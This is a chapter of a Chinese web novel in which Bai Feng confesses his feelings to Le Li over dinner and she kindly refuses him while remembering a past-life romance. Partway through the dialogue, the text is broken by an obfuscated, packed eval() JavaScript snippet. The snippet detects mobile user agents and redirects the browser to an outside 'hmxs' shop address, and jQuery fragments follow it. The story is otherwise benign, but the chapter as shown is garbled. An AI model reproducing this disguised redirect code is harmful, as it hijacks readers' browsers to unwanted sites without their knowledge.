31.表白
作品:《我的重生没有大场面》 下午,白烽愣是帮着收拾摆放,忙到了傍晚,乐栗还要请客,白烽放着刚帮姜欢组装好的鞋架站直。
夕阳暖烘烘的光打在他白色的衬衣上,衬得他像是整个人都在发光,白烽笑着,“这顿饭说好,是我请。”
乐栗眼神向姜欢求助,希望对方解围,姜欢哪里看不出来,白烽这殷勤的劲儿,就差一句名正言顺的表白。
姜欢拿抹布把两套桌椅仔仔细细擦了一遍,扭头笑说,“我们组舟舟约我今晚逛小街来着,我准备跟她一起出去吃砂锅菜,你们随意哈。”
这顿白烽期待了好久的饭,终于在夜幕降临之时到来。
他早早定好了餐厅,服务员将俩人带进包间,桌上放着一大束含苞待放的粉色芍药,避无可避地宣示了今晚这顿饭的主题。
乐栗冷静在白烽的指引下坐对面,没有刻意提及询问,也不回避对方略显炙热的目光,得体微笑冲淡这种呼之欲出的氛围。
服务员帮俩人点好菜,顺手给俩人倒上热气腾腾的花茶,又放回保温炉给他们温着,可谓非常周到的服务。
等服务员一走,暧昧的灯光下,封闭的空间里,瞬间只剩下俩人交错的呼吸声,白烽从芍药上将视线收回,修长的手指在桌下捏在一起,有些使劲儿指节泛白,他深吸一口气,看向对面气定神闲的乐栗,“你,喜欢花吗?”
江淮上一世追求乐栗时,曾连续100天不重样送过她各种各样的花,寝室都快堆成了花房,每次用精美卡片亲手抄写花语,就像他天天不重样的情话。
后来,花实在放不下,乐栗拿了里面的卡片,见到个熟人就给对方花。也是在那时,她对花有了那么多具体的了解,几乎世面上的鲜花看一眼都能叫出名字。
此时,乐栗看着那束芍药,白烽选的很好,芍药其中一个寓意是“钟情”,而粉色代表初恋和羞涩的爱意,非常适合表白。
乐栗:“芍药很美,但实用性而言,我更喜欢种那种大叶子的绿植,天南星科,例如龟背竹、春羽还有各种果芋,这类型的植物观赏性好,而且皮实好种。”
乐栗绕开敏感话题,开了一个轻松能聊的,白烽的紧张慢慢消融,他笑道,“你对植物很有研究啊,我妈喜欢,家里种了很多,但我没一个能叫出名字。”
乐栗淡淡勾唇,“等你爱上养花养草,那大概孙子孙女都能出去打酱油了。”
白烽笑了,仔细想想,“好像还真是,我爷爷就喜欢捣拾花草,溜溜他的鸟雀。”
乐栗:“我舅舅也喜欢花,我家院儿里种了一棵很大的三角梅,跟我差不多年头,每年开花两季,一次花期两个来月,很灿烂像火烧红一片。”
白烽眼神温柔,双手交握放到桌上,“听起来很漂亮,有机会想跟你去看看,顺便跟舅舅取取经,等我老了才有事儿做。”
两人说着不咸不淡的家常话题,很快服务员就上满了一桌菜。
白烽给乐栗夹了一个蒸虾饺,水晶面皮吹弹可破又亮晶晶的,乐栗咬了一口浓郁的汤汁流出来裹住舌尖,非常美味。
白烽一直看着她,“好吃吗?”
乐栗点头,“是我吃过最好吃的虾饺。”
白烽:“那以后我们常来,我也最喜欢这家的虾饺。”
乐栗笑着,“下次我请你。”
一来一回,一个小心翼翼试探,一个举重若轻的婉拒。
白烽又给乐栗夹其他菜,乐栗不推拒,只说,“你也吃。”
白烽有心事吃的不多,乐栗本着不浪费的原则,每一样都尝一尝,饭总要吃饱。
白烽:“下次我送你盆栽吧,刚好你们搬了寝室,可以养。”
乐栗吃得差不多了,拿纸巾擦擦嘴,笑着看向对方,“白烽哥,你今晚要说什么?”
像乐栗这样不急不躁,处事泰然的女生,白烽确实没怎么接触过,她的反应都在他的预料之外,现在这么直白问出来的,也让他始料未及,但总归是要捅破的。
白烽又握紧手深吸一口气,看向乐栗,“我可以追求你吗?”
乐栗依旧淡淡笑着,“白烽哥喜欢我什么?”
白烽:“从第一眼我就被你吸引,你有着超越同龄人的冷静和智慧,跟你相处很舒服,你很特别,我看到你总移不开眼。再加上,咱俩有同样的归途,留校任教,我想我们无论生活还是工作,都会很契合。”
白烽说完,整个人热血澎湃,就像跑了五千米的运动员,他是真的期待能有那么一天,两人牵手一起走过很多路。
乐栗轻轻叹了口气,抬起手边凉掉的茶水喝了一口,才看回白烽,“能被白烽哥喜欢是我的荣幸,你是非常好的人。我要说的是,这个世界上每个人都是特别的,只是我恰好在这段时光里有幸被你看见。白烽哥,我没有与人交往的打算,现在没有以后也没有,并不是对你持有任何偏见,我有偏见的是爱情和婚姻,我曾经也因为觉得某个人特别而弥足深陷过,可当我清醒的时候,我发现他非但不特别,还很普通,甚至给不了我普通人正常的生活,彻底摧毁了我所有的愿景和想象。我真心祝福你,也把你当成挚友,你有任何事需要我帮忙,我会全力以赴就像你对我一样,但我们永远不会是男女朋友的关系。”
白烽也端起凉茶慢慢喝了一口,挤出笑容,“你还小,怎么就……我是说什么样的感情让你绝望至此,我想我可以尽我所能改变你对爱情和婚姻的看法,如果你愿意的话,我们试试,可以吗?”
乐栗看得出白烽很真诚,他眼睛亮得惊人,里面只有她的倒影。
“白烽哥,我不想改变我现在的状态。”
白烽含住泪光点头,他双手发颤,想给她倒水,却不慎打翻了自己的杯子。乐栗看着他手忙脚乱去收拾,起身抽了纸巾递给他。
白烽几乎是随口呢喃,“我笨手笨脚的,难怪你不喜欢,我真是不太会照顾人,让你看笑话了,抱歉。”
乐栗稳住声,喊他,“白烽哥?”
白烽停住忙乱的手抬头,“嗯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16839086|188597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,在呢。”
乐栗起身走过来蹲下,一把握住他冰冷的手,“我以后都叫你哥吧,我没有看你笑话,你比我见过的多数人都真诚,不是你的问题。是我,我没法对别人产生爱情,是我的问题,你不需要自责。”
白烽红了眼眶,他反握住乐栗,鼻翼龛动努力压住酸劲儿,“谢谢你这样安慰我。没事的,我失恋过有经验能抗住,我送你回寝室吧。”
路上,俩人没怎么说话,乐栗抱着那束芍药,前世记忆在淡淡的花香中翻涌。
江淮每天捧着一大束鲜花来找她,笨拙又可爱,他说他说不惯情话,文才不好语句不优美,让美丽的鲜花替他把爱意说出口。
乐栗当时笑着问他,“我见过花店翻来覆去就那几种花,你是如何做到每天不重样儿的?”
江淮红着脸,“简单,跟着花店老板跑几次花市,把花认全去查花语,然后整理成册,每天用双倍价格让老板定一束来。”
乐栗笑,“原来是超能力。”
江淮:“有两次,老板家里有事闭店,是我凌晨去花市蹲的,玫瑰有上百个品种,不同颜色不同花语,我还要找到适合当天心情的花对你表白,你说我有没有用心?”
乐栗:“太形式主义,别送了。”
江淮拧紧眉头,“那怎么行,一束花是小,可送花就每天都有来见你,而你又没法儿拒绝的理由。”
乐栗笑了,“随你。”
第100天的时候,江淮在他的车子后备箱里装满了一车的洛神,白里透粉的花苞美得不似活物。
江淮喊了十个兄弟,每人一束朱丽叶捧着站成两排,他抱着一束粉色的芍药站中间,“乐乐,这是咱们相识第100天的纪念日,要是你今天答应我,我们用这些花去开一间花店,要是不答应,我明天接着送花。”
乐栗在男生精心打扮过的样子里看到紧张和不安,他满心满眼都是她,在她沉默的一分钟里,安静又炙热地看着她,似乎身上每一个细胞都簇拥着他,要向她靠近。
周围的人都在起哄,喊答应,江淮笑着让所有人安静,他说,“你们别逼她,我叫这么多人来不是道德绑架,是今天要送的花太多了,请他们帮忙拿花而已,她做什么决定我都接受,而且绝不放弃。”
可能是那天的花实在太美了,也可能是江淮最后的那句话戳进了乐栗的心坎里,她最终走向他,告诉他,愿意交往。
那时的江淮开心疯了,仿佛得到了全世界,他一把拥住她想把她举高,又怕冒犯她连忙松手,最后拉起她的手,十分珍视地放在自己的心口。
“你听,我的心此时此刻,只为你一个人跳动。”
乐栗感受到,少年的身体在不自觉地微微颤抖,而心脏跳得飞快,甚至通过手心一路往上传到了她的胸腔。
情话是真的,那时的喜欢也是真的,可喜欢是有时限的。
那个曾爱她到小心翼翼的人,有一天也会看着她独自跌入生活的泥潭,而把自己置身事外。

